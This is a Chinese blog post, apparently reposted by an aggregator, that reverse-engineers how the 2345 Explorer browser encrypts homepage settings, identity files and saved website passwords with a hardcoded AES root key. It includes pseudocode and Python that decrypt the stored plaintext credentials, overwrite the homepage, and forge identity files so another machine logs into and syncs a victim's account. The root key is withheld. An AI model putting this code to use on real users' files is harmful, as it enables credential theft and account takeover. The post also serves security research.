33

逆向某浏览器主页设置算法和保存登录账号信息过程

 4 years ago
source link: https://www.tuicool.com/articles/BBvUfeE
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

最近对浏览器比较感兴趣,于是对两千三百四十五浏览器做了一些无脑逆向,有一点点小小的收获,第一次发文,没什么技术含量的东西,写得超级烂,大佬们喷轻点(心里承受能力弱) 。

NZbe6nU.gif

ps:大四狗刚开始实习,想学学移动安全,求大佬们给点方向吧。

该浏览器在未登录时和登录时设置主页有些区别。具体有四点内容:

1.未登陆状态主页设置
2.登陆状态主页设置
3.解密保存在本地的网站登陆账号密码和身份信息
4.伪造身份同步云端信息

一、未登陆状态主页设置

先定位到关键算法,OD调试。

该函数08D5F028功能就是设置主页,函数原型大概是这样:SetHomePage(this,byte **url)

Rr6bmeq.jpg!web

继续跟进该函数,然后进入函数08D62DD4

这个函数的作用就是使用密钥1 rootKey[16]

对C:\Users\xxx\AppData\Local\2345Explorer\User Data\Default\Syn\HardwareInfo.dat进行

AES解密(CBC模式 Pkcs5Padding填充),解密后的数据存放在 一个二级指针指向的地址

rootKey[16]是程序写死的密钥

原型:DecrypturlKeyFromFile(byte **urlKey)

v6vQzye.jpg!web

继续调试,进入函数08D62F44,这个函数原型可以写成:SaveHomePage(this,byte urlKey,byte url)

后续的url拼接,加密,写文件都是在这个函数里完成的

j2MRji3.jpg!web 来到一个函数调用,08D5F65A目的是把url拼接成json格式:{“homepage”:”url”}

NzaERb3.jpg!web

接着调试,这一处调用就是加密前面拼接的json数据,取前面解密出来的urlKey前16位当作key进行AES加密

函数大概张这样:Encrypt(byte json,byte urlKey,byte *encryptData),加密之后的数据写入 encryptData

RRnUvm7.jpg!web

085F8B6的作用就是把前面的加密数据 encryptData写入文件

C:\Users\xxx\AppData\Local\2345Explorer\User Data\Default\page_file.dat

FR32MvY.jpg!webErmqEzQ.jpg!web

未登录状态的主页分析到此就结束了,密钥 rootKey[16] 大家去分析一下就知道了,很简单的,给出上面几个函数的文件偏移

chrome.1652dd4:    DecrypturlKeyFromFile(byte **urlKey)   

chrome.164f224:    SaveHomePage(this,byte **urlKey,byte **url)

chrome.164F65A:    BuildJson(byte **url,byte**json)  //拼接成json

chrome.164F77C:   Encrypt(byte **json,byte **urlKey,byte **encryptData)   //取urlKey的前16位当作key加密数据

chrome.164F8B6:    SaveVerifyFile(byte **encryptData)

贴出写的贼烂的伪代码

void SetHomePage(byte *url)
{
    unsigned char prefixJson[] = { "homepage" };
    unsigned char rootKey[] = { "xxxxxxxxxxxxxxxxx" };
    char *keyPath = "C:\\Users\\xxx\\AppData\\Local\\2345Explorer\\User Data\\Default\\Syn\\HardwareInfo2.dat";
    char *pageFile = "C:\\Users\\xxx\\AppData\\Local\\2345Explorer\\User Data\\Default\\page_file.dat";

    HANDLE hFile = CreateFileA(keyPath,
        GENERIC_READ,
        0,
        NULL,
        OPEN_EXISTING,
        FILE_ATTRIBUTE_NORMAL,
        NULL);
    if (hFile==INVALID_HANDLE_VALUE)
    {
        return;
    }
    DWORD bytesRead = 0;
    DWORD dwSize = GetFileSize(hFile, NULL);
    UCHAR *encryptKey = new UCHAR[dwSize];
    BOOL bRet = ReadFile(hFile, encryptKey, dwSize, &bytesRead, NULL);
    CloseHandle(hFile);
    if (bRet == FALSE)
    {
        return;
    }

    byte *key = AESCBCPK5Decrypt(encryptKey, rootKey);    //rootKey作为AES解密的key   CBC模式  Pkcs5Padding填充
    key[16] = 0;    //取解密数据的前16位

    ////拼接为:{"xxxx":"url"}
    string json = string("{\"") + (char*)prefixJson + "\":\"" + (char*)url + "\"}";

    byte* encryptData = AESCBCPK5Encrypt(json, key);    //加密json数据

    hFile = CreateFileA(pageFile,
        GENERIC_READ|GENERIC_WRITE,
        0,
        NULL,
        CREATE_ALWAYS,
        FILE_ATTRIBUTE_NORMAL,
        NULL);
    if (hFile == INVALID_HANDLE_VALUE)
    {
        return;
    }
    DWORD dataSize, bytesWrite;
    WriteFile(hFile, encryptKey, dataSize, &bytesWrite, NULL);
    CloseHandle(hFile);
}

二、登陆状态主页设置

登录状态的时候主页信息会保存在文件:C:\Users\xxx\AppData\Local\2345Explorer\User Data\Default\Sync\yyyy\UserPrefs

目录名yyyy是一个md5值,后面会讲这个md5是根据谁生成的

UserPrefs文件的加密算法和未登录使用的算法一致

只是会先在C:\Users\xxx\AppData\Local\2345Explorer\User Data\Default\Sync\yyyy\目录生成了一个临时文件:xxxxxxx.tmp

延时几秒再用ReplaceFileW函数替换掉UserPrefs文件,并没有使用CreateFileA/W函数

解密之后的 UserPrefs文件张这样:

马赛克打多了,关键位置还是:{“homepage”:”url”} 格式

nmeAbuB.jpg!web

三、解密保存在本地的网站登陆账号密码和身份信息

登录之后的用户身份信息保存在文件:C:\Users\xxx\AppData\Local\2345Explorer\User Data\Default\Sync\UserInfo.dat

搞笑的是加密方式和上面主页设置算法还是一致的

BvaeMzv.jpg!web

v2An6fQ.jpg!web 注意sync_password_id字段,前面的目录名yyy就是md5(sync_password_id)

最重点的地方来了,用同样的方式解密文件:

C:\Users\xxx\AppData\Local\2345Explorer\User\AppData\Local\2345Explorer\User Data\Default\Sync\yyy\Login DataV2

Z3eQFjj.jpg!web

没看错,就是用户浏览器记住的网站明文用户名密码和提交的一些表单信息

有点害怕,难道不应该使用windows身份加密API来加密这些东西吗

这样我把HardwareInfo2.dat和 Login DataV2文件拖到其他电脑上解密也太容易了吧

Qze6Njz.jpg!web

四、伪造身份同步云端信息

既然知道了 Login DataV2和 UserInfo.dat的生成过程,如果我们在另一台电脑上安装该浏览器,不登录任何账号,然后使用A用户的HardwareInfo2.dat文件解密自己的Login DataV2和 UserInfo.dat文件,再用B电脑的HardwareInfo2.dat加密前面解密出来的内容生成新的Login DataV2和 UserInfo.dat,再放入覆盖掉B电脑的相同文件,浏览器会不会登录上A用户,并且同步A的信息?

Zjmi2uE.jpg!webemiYRzQ.jpg!webrumi2iy.jpg!web 好像可以,书签什么的都同步下来了

Fz22MzY.jpg!webU3ea22Y.jpg!web 顺便附上登录/未登录状态设置主页和伪造身份py代码,代码很烂,大佬们打轻点

import binascii
from Crypto.Cipher import AES

class AESCBCDeEncrypt:
    def __init__(self,key):
        self.key=key
        self.mode = AES.MODE_CBC
        self.bs = 16        self.PADDING = lambda s: s + (self.bs - len(s) % self.bs) * chr(self.bs - len(s) % self.bs)

    def encrypt(self, text):
        generator = AES.new(self.key, self.mode, self.key)
        text=self.PADDING(text)
        crypt = generator.encrypt(text)

        crypted_str = binascii.b2a_hex(crypt)
        return crypted_str,crypt

    def decrypt(self, text):
        generator = AES.new(self.key, self.mode, self.key)
        return generator.decrypt(text)

#登录设置主页def setPageWithLogin(url):
    file = r'C:\Users\xxx\AppData\Local\2345Explorer\User Data\Default\Sync\yyy\UserPrefs'    macDecode = open(r'C:\Users\xxx\AppData\Local\2345Explorer\User Data\Default\Sync\HardwareInfo2.dat', 'rb').read()
    keyDecoder = AESCBCDeEncrypt('rootKey')   #rootKey没有给出    key = keyDecoder.decrypt(macDecode)[:16]
    dataDecoder = AESCBCDeEncrypt(key)
    fileData = open(file, 'rb').read()
    data = dataDecoder.decrypt(fileData)
    fix = data.find('"startup_urls":[]}}') + len('"startup_urls":[]}}')
    data=data[:fix]
    index = data.find('"homepage":') + len('"homepage":')
    index2 = data.find(',"pref_client"')
    url='"'+url+'"'    data=data[:index]+url+data[index2:]

    str,binData=dataDecoder.encrypt(data)
    f=open(r'C:\Users\xxx\AppData\Local\2345Explorer\User Data\Default\Sync\yyy\UserPrefs','wb')
    f.write(binData)
    f.close()

def decrypt(dataPath,keyPath):
    rootKey=''   #rootKey没有给出    keyRaw=open(keyPath,'rb').read()
    keyDecoder = AESCBCDeEncrypt(rootKey)
    key = keyDecoder.decrypt(keyRaw)[:16]
    dataDecoder = AESCBCDeEncrypt(key)
    dataRaw=open(dataPath,'rb').read()
    dataDecoder = AESCBCDeEncrypt(key)
    return dataDecoder.decrypt(dataRaw)

def encrypt(dataRaw,keyPath):
    rootKey = ''    keyRaw = open(keyPath, 'rb').read()
    keyDecoder = AESCBCDeEncrypt(rootKey)
    key = keyDecoder.decrypt(keyRaw)[:16]
    dataDecoder = AESCBCDeEncrypt(key)
    dataDecoder = AESCBCDeEncrypt(key)
    return dataDecoder.encrypt(dataRaw)

def filterinfo(info,mark):
    index=info.rfind(mark)
    return info[:index+1]

#生成身份文件def fakeUser():
    localKeyFile = r'C:\Users\xxx\AppData\Local\2345Explorer\User Data\Default\Sync\HardwareInfo2.dat'    otherKeyFile = r'C:\Users\xxx\Desktop\other.dat'    loginFle = r'C:\Users\xxx\AppData\Local\2345Explorer\User Data\Default\Sync\yyy\Login DataV2'    userinfoFile = r'C:\Users\xxx\AppData\Local\2345Explorer\User Data\Default\Sync\UserInfo.dat'    logininfo = filterinfo(decrypt(loginFle, localKeyFile), '}')
    loginhex, loginRaw = encrypt(logininfo, otherKeyFile)
    f = open(r'C:\Users\xxx\Desktop\FakerLogin DataV2', 'wb')
    f.write(loginRaw)
    f.close()

    userinfo = filterinfo(decrypt(userinfoFile, localKeyFile), '\n')
    userinfoHex, userinfoRaw = encrypt(userinfo, otherKeyFile)
    f = open(r'C:\Users\xxx\Desktop\FakerUserInfo.dat', 'wb')
    f.write(userinfoRaw)
    f.close()

#未登录设置主页def setPageWithoutLogin(url):
    file = r'C:\Users\xxx\AppData\Local\2345Explorer\User Data\Default\page_file.dat'    macDecode = open(r'C:\Users\xxx\AppData\Local\2345Explorer\User Data\Default\Sync\HardwareInfo2.dat', 'rb').read()
    keyDecoder = AESCBCDeEncrypt('rootKey')   #rootKey没有给出    key = keyDecoder.decrypt(macDecode)[:16]
    dataDecoder = AESCBCDeEncrypt(key)

    json='{"homepage":"url"}'    json=json.replace('url',url)
    f=open(file,'wb')
    f.write(dataDecoder.encrypt(json)[1])
    f.close()

if __name__ == '__main__':

    fakeUser()
    setPageWithoutLogin("iloveChina")
    setPageWithLogin("iloveChina")

Er6JVv6.jpg!web


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK